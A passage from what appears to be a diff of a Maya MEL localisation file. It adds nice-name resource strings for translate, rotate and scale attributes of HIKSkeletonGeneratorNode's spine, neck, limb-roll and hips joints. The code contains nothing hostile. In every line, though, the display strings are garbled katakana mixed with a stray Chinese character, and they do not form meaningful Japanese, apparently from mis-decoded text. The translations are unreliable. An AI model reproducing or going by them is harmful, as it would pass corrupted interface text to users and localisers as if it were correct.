ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine5Sz", "シケラオ 5 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6T", "シケラオ 6 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Tx", "シケラオ 6 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Ty", "シケラオ 6 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Tz", "シケラオ 6 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6R", "シケラオ 6 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Rx", "シケラオ 6 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Ry", "シケラオ 6 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Rz", "シケラオ 6 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6S", "シケラオ 6 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Sx", "シケラオ 6 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Sy", "シケラオ 6 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine6Sz", "シケラオ 6 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7T", "シケラオ 7 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Tx", "シケラオ 7 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Ty", "シケラオ 7 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Tz", "シケラオ 7 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7R", "シケラオ 7 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Rx", "シケラオ 7 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Ry", "シケラオ 7 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Rz", "シケラオ 7 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7S", "シケラオ 7 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Sx", "シケラオ 7 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Sy", "シケラオ 7 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine7Sz", "シケラオ 7 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8T", "シケラオ 8 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Tx", "シケラオ 8 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Ty", "シケラオ 8 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Tz", "シケラオ 8 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8R", "シケラオ 8 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Rx", "シケラオ 8 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Ry", "シケラオ 8 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Rz", "シケラオ 8 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8S", "シケラオ 8 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Sx", "シケラオ 8 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Sy", "シケラオ 8 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Sz", "シケラオ 8 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9T", "シケラオ 9 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Tx", "シケラオ 9 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Ty", "シケラオ 9 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Tz", "シケラオ 9 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9R", "シケラオ 9 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Rx", "シケラオ 9 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Ry", "シケラオ 9 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Rz", "シケラオ 9 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9S", "シケラオ 9 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Sx", "シケラオ 9 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Sy", "シケラオ 9 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Sz", "シケラオ 9 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1T", "セアイソ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Tx", "セアイソ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Ty", "セアイソ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Tz", "セアイソ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1R", "セアイソ 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Rx", "セアイソ 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Ry", "セアイソ 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Rz", "セアイソ 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1S", "セアイソ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Sx", "セアイソ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Sy", "セアイソ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Sz", "セアイソ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2T", "セアイソ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Tx", "セアイソ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Ty", "セアイソ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Tz", "セアイソ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2R", "セアイソ 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Rx", "セアイソ 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Ry", "セアイソ 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Rz", "セアイソ 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2S", "セアイソ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Sx", "セアイソ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Sy", "セアイソ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Sz", "セアイソ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3T", "セアイソ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Tx", "セアイソ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Ty", "セアイソ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Tz", "セアイソ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3R", "セアイソ 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Rx", "セアイソ 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Ry", "セアイソ 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Rz", "セアイソ 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3S", "セアイソ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Sx", "セアイソ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Sy", "セアイソ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Sz", "セアイソ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4T", "セアイソ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Tx", "セアイソ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Ty", "セアイソ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Tz", "セアイソ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4R", "セアイソ 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Rx", "セアイソ 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Ry", "セアイソ 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Rz", "セアイソ 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4S", "セアイソ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Sx", "セアイソ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Sy", "セアイソ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Sz", "セアイソ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5T", "セアイソ 5 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Tx", "セアイソ 5 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Ty", "セアイソ 5 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Tz", "セアイソ 5 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5R", "セアイソ 5 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Rx", "セアイソ 5 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Ry", "セアイソ 5 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Rz", "セアイソ 5 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5S", "セアイソ 5 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Sx", "セアイソ 5 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Sy", "セアイソ 5 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Sz", "セアイソ 5 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6T", "セアイソ 6 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Tx", "セアイソ 6 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Ty", "セアイソ 6 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Tz", "セアイソ 6 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6R", "セアイソ 6 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Rx", "セアイソ 6 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Ry", "セアイソ 6 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Rz", "セアイソ 6 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6S", "セアイソ 6 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Sx", "セアイソ 6 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Sy", "セアイソ 6 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Sz", "セアイソ 6 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7T", "セアイソ 7 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Tx", "セアイソ 7 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Ty", "セアイソ 7 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Tz", "セアイソ 7 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7R", "セアイソ 7 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Rx", "セアイソ 7 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Ry", "セアイソ 7 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Rz", "セアイソ 7 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7S", "セアイソ 7 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Sx", "セアイソ 7 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Sy", "セアイソ 7 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Sz", "セアイソ 7 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8T", "セアイソ 8 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Tx", "セアイソ 8 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Ty", "セアイソ 8 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Tz", "セアイソ 8 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8R", "セアイソ 8 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Rx", "セアイソ 8 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Ry", "セアイソ 8 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Rz", "セアイソ 8 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8S", "セアイソ 8 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Sx", "セアイソ 8 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Sy", "セアイソ 8 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Sz", "セアイソ 8 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9T", "セアイソ 9 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Tx", "セアイソ 9 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Ty", "セアイソ 9 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Tz", "セアイソ 9 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9R", "セアイソ 9 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Rx", "セアイソ 9 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Ry", "セアイソ 9 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Rz", "セアイソ 9 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9S", "セアイソ 9 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Sx", "セアイソ 9 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Sy", "セアイソ 9 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Sz", "セアイソ 9 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollT", "ラエヘネイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollTx", "ラエヘネイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollTy", "ラエヘネイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollTz", "ラエヘネイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollR", "ラエヘネイ犹ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollRx", "ラエヘネイ犹ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollRy", "ラエヘネイ犹ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollRz", "ラエヘネイ犹ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollS", "ラエヘネイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollSx", "ラエヘネイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollSy", "ラエヘネイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollSz", "ラエヘネイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollT", "ラヘネイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollTx", "ラヘネイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollTy", "ラヘネイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollTz", "ラヘネイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollR", "ラヘネイ犹ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollRx", "ラヘネイ犹ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollRy", "ラヘネイ犹ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollRz", "ラヘネイ犹ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollS", "ラヘネイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollSx", "ラヘネイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollSy", "ラヘネイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollSz", "ラヘネイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollT", "モメエヘネイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollTx", "モメエヘネイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollTy", "モメエヘネイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollTz", "モメエヘネイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollR", "モメエヘネイ犹ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollRx", "モメエヘネイ犹ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollRy", "モメエヘネイ犹ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollRz", "モメエヘネイ犹ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollS", "モメエヘネイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollSx", "モメエヘネイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollSy", "モメエヘネイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollSz", "モメエヘネイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollT", "モメヘネイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollTx", "モメヘネイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollTy", "モメヘネイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollTz", "モメヘネイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollR", "モメヘネイ犹ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollRx", "モメヘネイ犹ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollRy", "モメヘネイ犹ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollRz", "モメヘネイ犹ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollS", "モメヘネイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollSx", "モメヘネイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollSy", "モメヘネイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollSz", "モメヘネイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollT", "ラアロイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollTx", "ラアロイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollTy", "ラアロイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollTz", "ラアロイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollR", "ラアロイ犹ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollRx", "ラアロイ犹ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollRy", "ラアロイ犹ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollRz", "ラアロイ犹ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollS", "ラアロイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollSx", "ラアロイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollSy", "ラアロイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollSz", "ラアロイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollT", "ラヌーアロイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollTx", "ラヌーアロイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollTy", "ラヌーアロイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollTz", "ラヌーアロイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollR", "ラヌーアロイ犹ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollRx", "ラヌーアロイ犹ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollRy", "ラヌーアロイ犹ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollRz", "ラヌーアロイ犹ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollS", "ラヌーアロイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollSx", "ラヌーアロイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollSy", "ラヌーアロイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollSz", "ラヌーアロイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollT", "モメアロイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollTx", "モメアロイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollTy", "モメアロイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollTz", "モメアロイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollR", "モメアロイ犹ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollRx", "モメアロイ犹ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollRy", "モメアロイ犹ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollRz", "モメアロイ犹ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollS", "モメアロイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollSx", "モメアロイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollSy", "モメアロイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollSz", "モメアロイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollT", "モメヌーアロイ犹ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollTx", "モメヌーアロイ犹ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollTy", "モメヌーアロイ犹ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollTz", "モメヌーアロイ犹ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollR", "モメヌーアロイ犹ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollRx", "モメヌーアロイ犹ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollRy", "モメヌーアロイ犹ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollRz", "モメヌーアロイ犹ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollS", "モメヌーアロイ犹ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollSx", "モメヌーアロイ犹ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollSy", "モメヌーアロイ犹ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollSz", "モメヌーアロイ犹ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationT", "ナイソニスメニニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationTx", "ナイソニスメニニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationTy", "ナイソニスメニニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationTz", "ナイソニスメニニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationR", "ナイソニスメニミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationRx", "ナイソニスメニミラェx" ); +setAttrNiceNameResource( 